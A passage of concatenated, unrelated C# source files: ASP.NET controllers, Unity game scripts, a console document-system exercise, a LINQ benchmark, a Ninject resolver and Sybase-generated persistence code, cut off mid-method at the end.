var reviewModel = this._mapper.Map<ReviewResponseDTO>(tempReview.Entity);
return Ok(new
{
Message = "Ok",
Result = reviewModel
});
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MobilePhone
{
public class GSMCallHistoryTest
{
public static void StartGSMCallHistoryTest()
{
//add mobile phone for test
Console.WriteLine("GSM for call history test\n");
GSM testPhone = new GSM("Iphone 8", "", 1699.99m, "Georgi", new Battery(BatteryType.NiMH, 40, 800),
new Display(5.2m, 32000000));
//add calls made with the test phone
testPhone.AddCall(DateTime.Today, DateTime.Today.AddSeconds(34));
testPhone.AddCall(DateTime.Today, DateTime.Today.AddMinutes(3).AddSeconds(20));
testPhone.AddCall(DateTime.Today, DateTime.Today.AddMinutes(5).AddSeconds(2));
testPhone.AddCall(DateTime.Today, DateTime.Today.AddSeconds(24));
testPhone.AddCall(DateTime.Now, DateTime.Now.AddMinutes(4));
testPhone.AddCall(DateTime.Now, DateTime.Now.AddSeconds(57));
testPhone.AddCall(DateTime.Now, DateTime.Now.AddSeconds(49));
testPhone.AddCall(DateTime.Now, DateTime.Now.AddMinutes(7).AddSeconds(42));
//print test phone info
Console.WriteLine(testPhone);
//calculate and print price for all calls made with the test phone
decimal price = testPhone.CalculateAllCallsPrice(0.37m);
Console.WriteLine("Price for all calls is: {0:f2} lv.\n", price);
//removing call in position 5 in calls list
testPhone.RemoveCall(5);
foreach(Call call in testPhone.CallsList)
{
Console.WriteLine(call);
}
price = testPhone.CalculateAllCallsPrice(0.37m);
Console.WriteLine("\nPrice for all calls is: {0:f2} lv.\n", price);
//removing longest call in calls list
testPhone.RemoveLongestCall();
foreach (Call call in testPhone.CallsList)
{
Console.WriteLine(call);
}
price = testPhone.CalculateAllCallsPrice(0.37m);
Console.WriteLine("\nPrice for all calls is: {0:f2} lv.\n", price);
//removing all calls in calls list
testPhone.RemoveAllCalls();
foreach (Call call in testPhone.CallsList)
{
Console.WriteLine(call);
}
price = testPhone.CalculateAllCallsPrice(0.37m);
Console.WriteLine("Price for all calls is: {0:f2} lv.\n", price);
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Benchmark.Benchmarks
{
using System.Collections.ObjectModel;
using BenchmarkDotNet.Attributes;
/*
TODO: Cost differential due to creating a new collection. BCL caches, even for T, so seems reasonable we do also.
Method | EnumerateAfterwards | Mean | Error | StdDev | Gen 0 | Allocated |
--------- |-------------------- |----------:|----------:|----------:|-------:|----------:|
FastLinq | False | 4.444 ns | 0.6401 ns | 0.0362 ns | 0.0057 | 24 B |
System | False | 3.882 ns | 0.6009 ns | 0.0340 ns | - | 0 B |
FastLinq | True | 20.972 ns | 5.3893 ns | 0.3045 ns | 0.0057 | 24 B |
System | True | 19.837 ns | 3.4047 ns | 0.1924 ns | - | 0 B |
*/
public class EmptyBenchmark
{
[Params(true, false)] public bool EnumerateAfterwards;
[Benchmark]
[BenchmarkCategory("System")]
public void System()
{
var result = Enumerable.Empty<int>();
if (this.EnumerateAfterwards)
{
foreach (var item in result) ;
}
}
[Benchmark]
[BenchmarkCategory("FastLinq")]
public void FastLinq()
{
var result = global::System.Linq.FastLinq.Empty<int>();
if (this.EnumerateAfterwards)
{
foreach (var item in result) ;
}
}
}
}
|
using Ninject;
using QuickCollab.Accounts;
using QuickCollab.Security;
using QuickCollab.Services;
using QuickCollab.Session;
using System;
using System.Collections.Generic;
using System.Web.Http.Dependencies;
namespace QuickCollab
{
public class NinjectDependencyResolver : IDependencyResolver, System.Web.Mvc.IDependencyResolver
{
private IKernel _container;
public NinjectDependencyResolver()
{
_container = new StandardKernel();
RegisterServices();
}
public System.Web.Http.Dependencies.IDependencyScope BeginScope()
{
return this;
}
// Needs fixing here. Goes out of scope
// such that there are problems in
// next page reload
public void Dispose()
{
//var disposable = _container as IDisposable;
//if (disposable != null)
//{
// disposable.Dispose();
//}
//_container = null;
}
public object GetService(Type serviceType)
{
return _container.TryGet(serviceType);
}
public IEnumerable<object> GetServices(Type serviceType)
{
return _container.GetAll(serviceType);
}
/// <summary>
/// Use this method to do register all
/// services to interfaces
/// </summary>
private void RegisterServices()
{
_container.Bind<IAccountsRepository>().To<AccountsRepository>();
_container.Bind<ISessionInstanceRepository>().To<SessionInstanceRepository>();
_container.Bind<IManageAccounts>().To<AccountsApplicationService>();
}
}
} |
using UnityEngine;
using System.Collections;
public class DialogueContainer : MonoBehaviour {
public DialogueScript dialogueScript;
public float dialogueSpeed;
public string speakerName; // Name-box remains hidden if no name is entered
public string[] dialogue;
public string[] answers;
public DialogueContainer[] answerDialogue; // The dialogue to activate based on the given answer. Answer[i] gives dialogue[i]
public EndType endType;
public bool autoScroll;
public bool freezePlayer;
// If added, these items/profiles is given upon finishing the dialogue
public InventoryItemPickUp[] recieveItems;
public InventoryProfilePickUp[] recieveProfiles;
public void LoadDialogue()
{
dialogueScript.enabled = true;
dialogueScript.ImportDialogueText(dialogue, answers, speakerName, answerDialogue, endType, autoScroll, freezePlayer, recieveItems, recieveProfiles);
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text;
namespace DocumentSystem
{
public interface IDocument
{
string Name { get; }
string Content { get; }
void LoadProperty(string key, string value);
void SaveAllProperties(IList<KeyValuePair<string, object>> output);
string ToString();
}
public interface IEditable
{
void ChangeContent(string newContent);
}
public interface IEncryptable
{
bool IsEncrypted { get; }
void Encrypt();
void Decrypt();
}
public class DocumentSystem
{
static void Main()
{
IList<string> allCommands = ReadAllCommands();
ExecuteCommands(allCommands);
}
private static IList<Document> documents = new List<Document>();
private static IList<string> ReadAllCommands()
{
List<string> commands = new List<string>();
while (true)
{
string commandLine = Console.ReadLine();
if (commandLine == "")
{
// End of commands
break;
}
commands.Add(commandLine);
}
return commands;
}
private static void ExecuteCommands(IList<string> commands)
{
foreach (var commandLine in commands)
{
int paramsStartIndex = commandLine.IndexOf("[");
string cmd = commandLine.Substring(0, paramsStartIndex);
int paramsEndIndex = commandLine.IndexOf("]");
string parameters = commandLine.Substring(
paramsStartIndex + 1, paramsEndIndex - paramsStartIndex - 1);
ExecuteCommand(cmd, parameters);
}
}
private static void ExecuteCommand(string cmd, string parameters)
{
string[] cmdAttributes = parameters.Split(
new char[] { ';' }, StringSplitOptions.RemoveEmptyEntries);
if (cmd == "AddTextDocument")
{
AddTextDocument(cmdAttributes);
}
else if (cmd == "AddPDFDocument")
{
AddPdfDocument(cmdAttributes);
}
else if (cmd == "AddWordDocument")
{
AddWordDocument(cmdAttributes);
}
else if (cmd == "AddExcelDocument")
{
AddExcelDocument(cmdAttributes);
}
else if (cmd == "AddAudioDocument")
{
AddAudioDocument(cmdAttributes);
}
else if (cmd == "AddVideoDocument")
{
AddVideoDocument(cmdAttributes);
}
else if (cmd == "ListDocuments")
{
ListDocuments();
}
else if (cmd == "EncryptDocument")
{
EncryptDocument(parameters);
}
else if (cmd == "DecryptDocument")
{
DecryptDocument(parameters);
}
else if (cmd == "EncryptAllDocuments")
{
EncryptAllDocuments();
}
else if (cmd == "ChangeContent")
{
ChangeContent(cmdAttributes[0], cmdAttributes[1]);
}
else
{
throw new InvalidOperationException("Invalid command: " + cmd);
}
}
private static Dictionary<string, string> ParseProperties(string[] attributes, out string name)
{
name = null;
Dictionary<string, string> properties = new Dictionary<string, string>();
foreach (string attribute in attributes)
{
string[] keyValue = attribute.Split('=');
if (keyValue[0] == "name")
{
name = keyValue[1];
}
else
{
properties.Add(keyValue[0], keyValue[1]);
}
}
return properties;
}
private static void CreateDocument(string name, Dictionary<string, string> properties, string documentType)
{
if (!string.IsNullOrEmpty(name))
{
// dynamically create Document instance of type documentType
// http://stackoverflow.com/questions/15449800/create-object-instance-of-a-class-having-its-name-in-string-variable
string namespaceName = "DocumentSystem";
Type docType = Type.GetType(namespaceName + "." + documentType);
Document document = (Document)Activator.CreateInstance(docType, new object[] { name });
documents.Add(document);
foreach (KeyValuePair<string, string> property in properties)
{
document.LoadProperty(property.Key, property.Value);
}
Console.WriteLine("Document added: {0}", name);
}
else
{
Console.WriteLine("Document has no name");
}
}
private static void AddTextDocument(string[] attributes)
{
string name;
Dictionary<string, string> properties = ParseProperties(attributes, out name);
CreateDocument(name, properties, "TextDocument");
}
private static void AddPdfDocument(string[] attributes)
{
string name;
Dictionary<string, string> properties = ParseProperties(attributes, out name);
CreateDocument(name, properties, "PDFDocument");
}
private static void AddWordDocument(string[] attributes)
{
string name;
Dictionary<string, string> properties = ParseProperties(attributes, out name);
CreateDocument(name, properties, "WordDocument");
}
private static void AddExcelDocument(string[] attributes)
{
string name;
Dictionary<string, string> properties = ParseProperties(attributes, out name);
CreateDocument(name, properties, "ExcelDocument");
}
private static void AddAudioDocument(string[] attributes)
{
string name;
Dictionary<string, string> properties = ParseProperties(attributes, out name);
CreateDocument(name, properties, "AudioDocument");
}
private static void AddVideoDocument(string[] attributes)
{
string name;
Dictionary<string, string> properties = ParseProperties(attributes, out name);
CreateDocument(name, properties, "VideoDocument");
}
private static void ListDocuments()
{
if (documents.Count == 0)
{
Console.WriteLine("No documents found");
}
foreach (Document document in documents)
{
Console.WriteLine(document);
}
}
private static void EncryptDocument(string name)
{
bool notFound = true;
foreach (Document document in documents)
{
if (document.Name == name)
{
notFound = false;
if (document is IEncryptable)
{
IEncryptable doc = (IEncryptable)document;
doc.Encrypt();
Console.WriteLine("Document encrypted: {0}", document.Name);
}
else
{
Console.WriteLine("Document does not support encryption: {0}", document.Name);
}
}
}
if (notFound)
{
Console.WriteLine("Document not found: {0}", name);
}
}
private static void DecryptDocument(string name)
{
bool notFound = true;
foreach (Document document in documents)
{
if (document.Name == name)
{
notFound = false;
if (document is IEncryptable)
{
IEncryptable doc = (IEncryptable)document;
doc.Decrypt();
Console.WriteLine("Document decrypted: {0}", document.Name);
}
else
{
Console.WriteLine("Document does not support decryption: {0}", document.Name);
}
}
}
if (notFound)
{
Console.WriteLine("Document not found: {0}", name);
}
}
private static void EncryptAllDocuments()
{
bool notFound = true;
foreach (Document document in documents)
{
if (document is IEncryptable)
{
notFound = false;
IEncryptable doc = (IEncryptable)document;
doc.Encrypt();
}
}
if (notFound)
{
Console.WriteLine("No encryptable documents found");
}
else
{
Console.WriteLine("All documents encrypted");
}
}
private static void ChangeContent(string name, string content)
{
bool notFound = true;
foreach (Document document in documents)
{
if (document.Name == name)
{
notFound = false;
if (document is IEditable)
{
IEditable doc = (IEditable)document;
doc.ChangeContent(content);
Console.WriteLine("Document content changed: {0}", document.Name);
}
else
{
Console.WriteLine("Document is not editable: {0}", document.Name);
}
}
}
if (notFound)
{
Console.WriteLine("Document not found: {0}", name);
}
}
}
/// <summary>
/// Abstract document class
/// </summary>
public abstract class Document : IDocument
{
public Document(string name)
{
this.Name = name;
}
public string Name { get; protected set; }
public string Content { get; protected set; }
public void LoadProperty(string key, string value)
{
Type type = this.GetType();
PropertyInfo property = type.GetProperty(this.FirstCharToUpper(key));
property.SetValue(this, value);
}
public void SaveAllProperties(IList<KeyValuePair<string, object>> output)
{
foreach (PropertyInfo property in this.GetType().GetProperties())
{
output.Add(new KeyValuePair<string, object>(property.Name, property.GetValue(this)));
}
}
protected string FirstCharToUpper(string input)
{
if (String.IsNullOrEmpty(input))
{
throw new ArgumentException("Invalid string");
}
return input.First().ToString().ToUpper() + String.Join("", input.Skip(1));
}
public override string ToString()
{
IList<KeyValuePair<string, object>> properties = new List<KeyValuePair<string, object>>();
this.SaveAllProperties(properties);
IOrderedEnumerable<KeyValuePair<string, object>> orderedProperties = properties.OrderBy(x => x.Key);
bool isEncrypted = false;
if (this is IEncryptable)
{
IEncryptable encryptableDocument = (IEncryptable)this;
if (encryptableDocument.IsEncrypted == true)
{
isEncrypted = true;
}
}
StringBuilder info = new StringBuilder();
info.Append(this.GetType().Name).Append("[");
if (isEncrypted)
{
info.Append("encrypted");
}
else
{
foreach (KeyValuePair<string, object> property in orderedProperties)
{
if (property.Value != null && property.Value.GetType() != typeof(bool))
{
info.AppendFormat("{0}={1};", property.Key.ToLower(), property.Value);
}
}
// remove the last ";"
info.Length--;
}
info.Append("]");
return info.ToString();
}
}
/// <summary>
/// Text document
/// </summary>
public class TextDocument : Document, IEditable
{
public TextDocument(string name) : base(name)
{
}
public string Charset { get; set; }
public void ChangeContent(string newContent)
{
this.Content = newContent;
}
}
/// <summary>
/// Abstract binary document
/// </summary>
public abstract class BinaryDocument : Document
{
public BinaryDocument(string name) : base(name)
{
}
public string Size { get; set; }
}
/// <summary>
/// Abstract office document
/// </summary>
public abstract class OfficeDocument : BinaryDocument, IEncryptable
{
public OfficeDocument(string name) : base(name)
{
}
public string Version { get; set; }
public bool IsEncrypted { get; protected set; }
public void Encrypt()
{
this.IsEncrypted = true;
}
public void Decrypt()
{
this.IsEncrypted = false;
}
}
/// <summary>
/// Word document
/// </summary>
public class WordDocument : OfficeDocument, IEditable
{
public WordDocument(string name) : base(name)
{
}
public string Chars { get; set; }
public string Charset { get; set; }
public void ChangeContent(string newContent)
{
this.Content = newContent;
}
}
/// <summary>
/// Excel document
/// </summary>
public class ExcelDocument : OfficeDocument
{
public ExcelDocument(string name) : base(name)
{
}
public string Rows { get; set; }
public string Cols { get; set; }
}
/// <summary>
/// Abstract multimedia document
/// </summary>
public abstract class MultimediaDocument : BinaryDocument
{
public MultimediaDocument(string name) : base(name)
{
}
public string Length { get; set; }
}
/// <summary>
/// Audio document
/// </summary>
public class AudioDocument : MultimediaDocument
{
public AudioDocument(string name) : base(name)
{
}
public string Samplerate { get; set; }
}
/// <summary>
/// Video document
/// </summary>
public class VideoDocument : MultimediaDocument
{
public VideoDocument(string name) : base(name)
{
}
public string Framerate { get; set; }
}
/// <summary>
/// PDF document
/// </summary>
public class PDFDocument : BinaryDocument, IEncryptable
{
public PDFDocument(string name) : base(name)
{
}
public string Pages { get; set; }
public bool IsEncrypted { get; protected set; }
public void Encrypt()
{
this.IsEncrypted = true;
}
public void Decrypt()
{
this.IsEncrypted = false;
}
}
} |
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class GameController : MonoBehaviour
{
[SerializeField] private List<Cell> cells;
[SerializeField] private List<GameObject> combinationGrid;
[SerializeField] private Text xScoreElement;
[SerializeField] private Text oScoreElement;
private bool playersTurn = true;
bool nextSign = false; // X - true, O - false;
private int xScore = 0;
private int oScore = 0;
private int[][] checkMatrix = new int[][] {
new int[] {0, 1, 2},
new int[] {3, 4, 5},
new int[] {6, 7, 8},
new int[] {0, 3, 6},
new int[] {1, 4, 7},
new int[] {2, 5, 8},
};
private void Start()
{
xScoreElement.text = xScore.ToString();
oScoreElement.text = oScore.ToString();
CleanGamePane();
}
private void CleanGamePane()
{
cells.ForEach(cell => cell.Reset());
combinationGrid.ForEach(gridLine => gridLine.SetActive(false));
}
public void Clicked(Cell cell)
{
if (playersTurn)
{
// Player turn
bool playerWins = Turn(cell);
playersTurn = false;
// Bot turn
Cell botSelected = SelectAnotherCell(cell, cells);
Turn(botSelected);
playersTurn = true;
}
}
private bool Turn(Cell cell)
{
nextSign = !nextSign;
cell.Change(nextSign);
int vectorWithCombination = checkCombination();
if (vectorWithCombination >= 0)
{
bool playerWins = !cells[checkMatrix[vectorWithCombination][0]].currentState;
RoundFinished(playerWins, vectorWithCombination);
return true;
}
else if (cells.FindAll(cellv => cellv.available).Count == 0)
{
CleanGamePane();
return true;
}
return false;
}
private int checkCombination()
{
for (int vectorsIndex = 0; vectorsIndex < 6; vectorsIndex++)
{
// Check horizontal rows
if (CheckVector(checkMatrix[vectorsIndex]))
{
/*bool playerWins = !cells[checkMatrix[vectorsIndex][0]].currentState;*/
return vectorsIndex;
}
}
return -1;
}
private void RoundFinished(bool playerWins, int vectorIndex)
{
ShowCombinationAndClean(vectorIndex);
if (playerWins)
{
xScore++;
}
else
{
oScore++;
}
xScoreElement.text = xScore.ToString();
oScoreElement.text = oScore.ToString();
Debug.Log("Round finished");
}
private void ShowCombinationAndClean(int vectorIndex)
{
combinationGrid[vectorIndex].SetActive(true);
CleanGamePane();
}
private bool CheckVector(int[] indexes)
{
return !cells[indexes[0]].available && !cells[indexes[1]].available && !cells[indexes[2]].available
&& cells[indexes[0]].currentState == cells[indexes[1]].currentState && cells[indexes[1]].currentState == cells[indexes[2]].currentState;
}
private Cell SelectAnotherCell(Cell excluded, List<Cell> cells)
{
List<Cell> availableCells = cells.FindAll(cell => cell.available);
availableCells.Remove(excluded);
return availableCells[new System.Random().Next(availableCells.Count)];
}
}
|
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;
using SGDE.Domain.Supervisor;
using SGDE.Domain.ViewModels;
using System;
namespace SGDE.API.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class WorkHistoriesController : ControllerBase
{
private readonly ISupervisor _supervisor;
private readonly ILogger<WorkHistoriesController> _logger;
public WorkHistoriesController(ILogger<WorkHistoriesController> logger, ISupervisor supervisor)
{
_logger = logger;
_supervisor = supervisor;
}
// GET api/workhistories/5
[HttpGet("{id}")]
public object Get(int id)
{
try
{
return _supervisor.GetWorkHistoryById(id);
}
catch (Exception ex)
{
_logger.LogError(ex, "Exception: ");
return StatusCode(500, ex);
}
}
[HttpGet]
public object Get()
{
try
{
var queryString = Request.Query;
var skip = Convert.ToInt32(queryString["$skip"]);
var take = Convert.ToInt32(queryString["$top"]);
var workId = Convert.ToInt32(queryString["workId"]);
var filter = Util.Helper.getSearch(queryString["$filter"]);
var queryResult = _supervisor.GetAllWorkHistory(workId, skip, take, filter);
return new { Items = queryResult.Data, Count = queryResult.Count };
}
catch (Exception ex)
{
_logger.LogError(ex, "Exception: ");
return StatusCode(500, ex);
}
}
[HttpPost]
public object Post([FromBody] WorkHistoryViewModel workHistoryViewModel)
{
try
{
var result = _supervisor.AddWorkHistory(workHistoryViewModel);
return result;
}
catch (Exception ex)
{
_logger.LogError(ex, "Exception: ");
return StatusCode(500, ex);
}
}
[HttpPut]
public object Put([FromBody] WorkHistoryViewModel workHistoryViewModel)
{
try
{
if (_supervisor.UpdateWorkHistory(workHistoryViewModel) && workHistoryViewModel.id != null)
{
return _supervisor.GetWorkHistoryById((int)workHistoryViewModel.id);
}
return null;
}
catch (Exception ex)
{
_logger.LogError(ex, "Exception: ");
return StatusCode(500, ex);
}
}
// DELETE: api/workhistories/5
[HttpDelete("{id:int}")]
public object Delete(int id)
{
try
{
return _supervisor.DeleteWorkHistory(id);
}
catch (Exception ex)
{
_logger.LogError(ex, "Exception: ");
return StatusCode(500, ex);
}
}
}
} |
///
/// Generated by Sybase AFX Compiler with templateJ
/// Compiler version - 2.2.6.482
/// mbs - false
///
using System;
using System.Reflection;
namespace MMSCAN
{
public class ClientPersonalization : Sybase.Reflection.IClassWithMetaData
{
#region MetaData
private static MMSCAN.intrnl.ClientPersonalizationMetaData META_DATA = new MMSCAN.intrnl.ClientPersonalizationMetaData();
/// <summary>
/// return MetaData object
/// </summary>
public Sybase.Reflection.ClassMetaData GetClassMetaData()
{
return META_DATA;
}
/// <summary>
/// return MetaData object
/// </summary>
public static Sybase.Reflection.EntityMetaData GetMetaData()
{
return META_DATA;
}
#endregion
/// <summary>
/// return EntityClass object for the MBO
/// </summary>
public static Sybase.Persistence.EntityClass GetMetaClass()
{
return Sybase.Persistence.EntityClass.GetInstance(META_DATA, MMSCAN.MMSCANDB_RM.Instance);
}
#region Properties
internal string __key_name ;
internal string __user ;
internal string __value ;
internal bool __user_defined = com.sybase.afx.json.JsonValue.GetBoolean("true");
internal string __description ;
internal long __id ;
/// <summary>
/// Gets or Sets Key_name
/// </summary>
public string Key_name
{
get
{
return __key_name;
}
set
{
if(__key_name != value)
{
_isDirty = true;
}
__key_name = value;
}
}
/// <summary>
/// Gets or Sets User
/// </summary>
public string User
{
get
{
return __user;
}
set
{
if(__user != value)
{
_isDirty = true;
}
__user = value;
}
}
/// <summary>
/// Gets or Sets Value
/// </summary>
public string Value
{
get
{
return __value;
}
set
{
if(__value != value)
{
_isDirty = true;
}
__value = value;
}
}
/// <summary>
/// Gets or Sets User_defined
/// </summary>
public bool User_defined
{
get
{
return __user_defined;
}
set
{
if(__user_defined != value)
{
_isDirty = true;
}
__user_defined = value;
}
}
/// <summary>
/// Gets or Sets Description
/// </summary>
public string Description
{
get
{
return __description;
}
set
{
if(__description != value)
{
_isDirty = true;
}
__description = value;
}
}
/// <summary>
/// Gets or Sets Id
/// </summary>
public long Id
{
get
{
return __id;
}
set
{
if(__id != value)
{
_isDirty = true;
}
__id = value;
}
}
// ignore submited child when call SubmitPending()
#endregion
#region Constructor and init
/// <summary>
/// Creates an instance of MMSCAN.ClientPersonalization
/// </summary>
public ClientPersonalization()
{
_init();
}
protected void _init()
{
}
#endregion
#region Miscs methods
protected bool _isNew = true;
protected bool _isDirty = false;
protected bool _isDeleted = false;
/// <summary>
/// Returns true if this entity was loaded from the database and was subsequently modified (in memory),
////but the change has not yet been saved to the database.
/// </summary>
public bool IsDirty
{
get
{
return _isDirty;
}
set
{
_isDirty = value;
}
}
/// <summary>
/// Returns true if this mobile business object is new (i.e. has not yet been created in the database).
/// </summary>
public bool IsNew
{
get
{
return _isNew;
}
}
/// <summary>
/// Returns true if this entity was loaded from the database and was subsequently deleted.
/// </summary>
public bool IsDeleted
{
get
{
return _isDeleted;
}
}
/// <summary>
/// Get surroget key of the mobile business object
/// </summary>
public long? _pk()
{
if(__id == 0) __id = (long)(MMSCAN.LocalKeyGenerator.GenerateId());
return __id;
}
/// <summary>
/// Returns the surroget key as a string
/// </summary>
public string KeyToString()
{
return Convert.ToString(__id);
}
/// <summary>
/// override method
/// </summary>
public override bool Equals(object that)
{
MMSCAN.ClientPersonalization that_1 = that as MMSCAN.ClientPersonalization;
if (that_1 == null)
{
return false;
}
long? id_2 = this._pk();
long? id_3 = that_1._pk();
if ((id_2 == null) || (id_3 == null))
{
return false;
}
return id_2.Equals(id_3);
}
/// <summary>
/// override method
/// </summary>
public override int GetHashCode()
{
try
{
return _pk().GetHashCode();
}
catch(System.Exception)
{
return __id.GetHashCode();
}
}
#endregion
#region copyAll method
/// <summary>
/// copy the MBO attributes to current MBO
/// </summary>
public void CopyAll(MMSCAN.ClientPersonalization entity)
{
this._isNew = entity._isNew;
this.__key_name = entity.__key_name;
this.__user = entity.__user;
this.__value = entity.__value;
this.__user_defined = entity.__user_defined;
this.__description = entity.__description;
this.__id = entity.Id;
}
#endregion
#region Refresh, find and loading methods
/// <summary>
/// Refresh the mobile business object from database.
/// </summary>
public void Refresh()
{
if (!_isNew)
{
MMSCAN.ClientPersonalization ent = Load(_pk());
CopyAll(ent);
_isNew = false;
_isDirty = false;
}
}
private static MMSCAN.ClientPersonalization _find(long id, String sql, bool findOs, bool findNonPending)
{
Sybase.Persistence.ConnectionWrapper _conn = MMSCAN.MMSCANDB.AcquireDBReadConnection();
System.Data.IDataReader _rs = null;
int count = 0;
try
{
MMSCAN.ClientPersonalization _rt = null;
using (System.Data.IDbCommand ps = com.sybase.afx.db.CommandUtil.CreateCommand(_conn, sql))
{
com.sybase.afx.db.CommandUtil.SetLong(_conn.GetConnectionProfile(), ps, "id", id);
using (_rs = ps.ExecuteReader())
{
Sybase.Persistence.ConnectionProfile profile = _conn.GetConnectionProfile();
while (com.sybase.afx.db.ReaderUtil.Read(profile, _rs))
{
_rt = new MMSCAN.ClientPersonalization();
_rt.Bind(profile, _rs);
count++;
}
if (_rs != null) com.sybase.afx.db.ReaderUtil.Close(profile, _rs, count);
if (ps != null) ps.Dispose();
}
}
return _rt;
}
catch(System.Data.DataException ex)
{
throw new Sybase.Persistence.PersistenceException(Sybase.Persistence.PersistenceException.EXCEPTION_CAUSE, ex.ToString(), ex);
}
finally
{
MMSCAN.MMSCANDB.ReleaseDBConnection();
}
}
/// <summary>
/// Search mobile business object using surrogateKey
/// </summary>
/// <param name="id">surrogateKey</param>
/// <returns>mobile business object</returns>
/// <remarks> </remarks>
public static MMSCAN.ClientPersonalization Find(long id)
{
return _find(id, "select \"key_name\",\"user\",\"value\",\"user_defined\",\"description\",\"id\" from co_mmscan_1_8_3_clientpersonalization where \"id\"=?", false, false);
}
protected void Bind(Sybase.Persistence.ConnectionProfile profile, System.Data.IDataReader rs)
{
this.__key_name = com.sybase.afx.db.ReaderUtil.GetString(profile,rs,"key_name",0);
this.__user = com.sybase.afx.db.ReaderUtil.GetString(profile,rs,"user",1);
this.__value = com.sybase.afx.db.ReaderUtil.GetNullableStringUL(profile,rs,"value",2);
this.__user_defined = com.sybase.afx.db.ReaderUtil.GetBoolean(profile,rs,"user_defined",3);
this.__description = com.sybase.afx.db.ReaderUtil.GetNullableStringUL(profile,rs,"description",4);
this.__id = com.sybase.afx.db.ReaderUtil.GetLong(profile,rs,"id",5);
_isNew = false;
_isDirty = false;
}
/// <summary>
/// Get the mobile business object by surrogate key.
/// </summary>
/// <param name="id">surrogate key</param>
/// <returns>the mobile business object for the surroget key</returns>
/// <exception cref="ObjectNotFoundException">Thrown if unable to retrieve mobile business object.</exception>
/// <remarks> </remarks>
public static MMSCAN.ClientPersonalization Load(long id)
{
MMSCAN.ClientPersonalization _ent = Find(id);
if (_ent == null)
{
throw new Sybase.Persistence.ObjectNotFoundException(Sybase.Persistence.ObjectNotFoundException.OBJECT_NOT_FOUND);
}
return _ent;
}
/// <summary>
/// Get the mobile business object by a nullable surrogate key
/// </summary>
public static MMSCAN.ClientPersonalization Find(long? _id)
{
return Find(((long?)_id).Value);
}
/// <summary>
/// Get the mobile business object by a nullable surrogate key
/// </summary>
/// <exception cref="ObjectNotFoundException"> Thrown if unable to retrieve mobile business object.</exception>
/// <remarks> </remarks>
public static MMSCAN.ClientPersonalization Load(long? _id)
{
return Load(((long?)_id).Value);
}
/// <summary>
/// Creates or Updates the MBO
/// </summary>
public void Save()
{
BeforeSave();
if (_isNew)
{
Create();
}
else if (_isDirty)
{
Update();
}
}
/// <summary>
/// Set current MBO attributes by specified MBO.
/// </summary>
public static MMSCAN.ClientPersonalization Merge(MMSCAN.ClientPersonalization entity)
{
MMSCAN.ClientPersonalization ent = Find(entity._pk());
if (ent == null)
{
ent = new MMSCAN.ClientPersonalization();
}
ent.CopyAll(entity);
ent.Save();
return ent;
}
#endregion
#region CUD methods
private void CreateBySQL(Sybase.Persistence.ConnectionWrapper _conn, string sql, MMSCAN.ClientPersonalization __theObject)
{
using (System.Data.IDbCommand ps = com.sybase.afx.db.CommandUtil.CreateCommand(_conn, sql))
{
com.sybase.afx.db.CommandUtil.SetString(_conn.GetConnectionProfile(), ps, "key_name", __theObject.Key_name);
com.sybase.afx.db.CommandUtil.SetString(_conn.GetConnectionProfile(), ps, "user", __theObject.User);
com.sybase.afx.db.CommandUtil.SetNullableString(_conn.GetConnectionProfile(), ps, "value", __theObject.Value);
com.sybase.afx.db.CommandUtil.SetBoolean(_conn.GetConnectionProfile(), ps, "user_defined", __theObject.User_defined);
com.sybase.afx.db.CommandUtil.SetNullableString(_conn.GetConnectionProfile(), ps, "description", __theObject.Description);
com.sybase.afx.db.CommandUtil.SetLong(_conn.GetConnectionProfile(), ps, "id", __theObject.Id);
ps.ExecuteNonQuery();
ps.Dispose();
};
}
/// <summary>
/// create an MBO instance
/// </summary>
public void Create()
{
Sybase.Persistence.ConnectionWrapper _conn = MMSCAN.MMSCANDB.AcquireDBWriteConnection();
try
{
if(__id == 0) __id = (long)(MMSCAN.LocalKeyGenerator.GenerateId());
CreateBySQL(_conn, "insert co_mmscan_1_8_3_clientpersonalization (\"key_name\",\"user\",\"value\",\"user_defined\",\"description\",\"id\") values (?,?,?,?,?,?)", this);
_isNew = false;
_isDeleted = false;
_isDirty = false;
}
catch (Sybase.Persistence.PersistenceException)
{
throw;
}
catch (System.Data.DataException ex)
{
throw new Sybase.Persistence.PersistenceException(Sybase.Persistence.PersistenceException.EXCEPTION_CAUSE, ex.ToString(), ex);
}
finally
{
MMSCAN.MMSCANDB.ReleaseDBConnection();
}
}
/// <summary>
/// Delete the mobile business object.
/// </summary>
public void Delete()
{
Sybase.Persistence.ConnectionWrapper _conn = MMSCAN.MMSCANDB.AcquireDBWriteConnection();
try
{
int count = 1;
using (System.Data.IDbCommand ps1 = com.sybase.afx.db.CommandUtil.CreateCommand(_conn, "delete co_mmscan_1_8_3_clientpersonalization where \"id\"=?"))
{
com.sybase.afx.db.CommandUtil.SetLong(_conn.GetConnectionProfile(), ps1, "id", this.Id);
count = ps1.ExecuteNonQuery();
ps1.Dispose();
};
_isNew = false;
_isDeleted = true;
}
catch (System.Data.DataException ex)
{
throw new Sybase.Persistence.PersistenceException(Sybase.Persistence.PersistenceException.EXCEPTION_CAUSE, ex.ToString(), ex);
}
finally
{
MMSCAN.MMSCANDB.ReleaseDBConnection();
}
}
/// <summary>
/// Update the mobile business object
/// </summary>
public void Update()
{
Sybase.Persistence.ConnectionWrapper _conn = MMSCAN.MMSCANDB.AcquireDBWriteConnection();
try
{
int count = 1;
using (System.Data.IDbCommand cmd = com.sybase.afx.db.CommandUtil.CreateCommand(_conn, "update co_mmscan_1_8_3_clientpersonalization set \"key_name\"=?,\"user\"=?,\"value\"=?,\"user_defined\"=?,\"description\"=? where \"id\"=?"))
{
com.sybase.afx.db.CommandUtil.SetString(_conn.GetConnectionProfile(), cmd, "key_name", this.Key_name);
com.sybase.afx.db.CommandUtil.SetString(_conn.GetConnectionProfile(), cmd, "user", this.User);
com.sybase.afx.db.CommandUtil.SetNullableString(_conn.GetConnectionProfile(), cmd, "value", this.Value);
com.sybase.afx.db.CommandUtil.SetBoolean(_conn.GetConnectionProfile(), cmd, "user_defined", this.User_defined);
